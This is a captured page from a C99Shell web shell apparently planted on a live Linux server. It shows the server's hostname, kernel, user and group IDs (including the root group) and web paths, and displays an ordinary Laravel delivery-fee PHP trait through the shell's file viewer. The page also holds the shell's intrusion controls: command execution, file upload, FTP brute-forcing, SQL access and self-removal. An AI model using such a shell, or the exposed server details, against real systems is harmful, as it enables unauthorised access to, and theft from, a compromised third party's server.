!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/app/Traits/Expedition/   drwxr-xr-x
Free 23.37 GB of 117.98 GB (19.81%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     HasDelivery.php (1008 B)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Traits\Expedition;

use 
App\Address;

trait 
HasDelivery
{
    public function 
expeditionRules(){
        return [
            
'address_id' => ['required'],
            
'timeslot' =>['required']
        ];
    }

    public function 
setAddressAndApplyDeliveryFee(){
            
//Set address
            
$this->order->address_id=$this->request->address_id;

            
//Calculate delivery cost
            
$addresss Address::findOrFail($this->request->address_id);
            
$addressesWithFees $this->getAccessibleAddresses($this->vendor, [$addresss]);
            
            
$cost_total=0;
            foreach (
$addressesWithFees as $key => $addressWithFee) {
                
$cost_total=$addressWithFee->cost_total;
            }
            
$this->order->delivery_price$cost_total;
            
$this->order->update();
    }

    public function 
setTimeSlot(){
        
$this->order->delivery_pickup_interval=$this->request->timeslot;
        
$this->order->update();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.005 ]--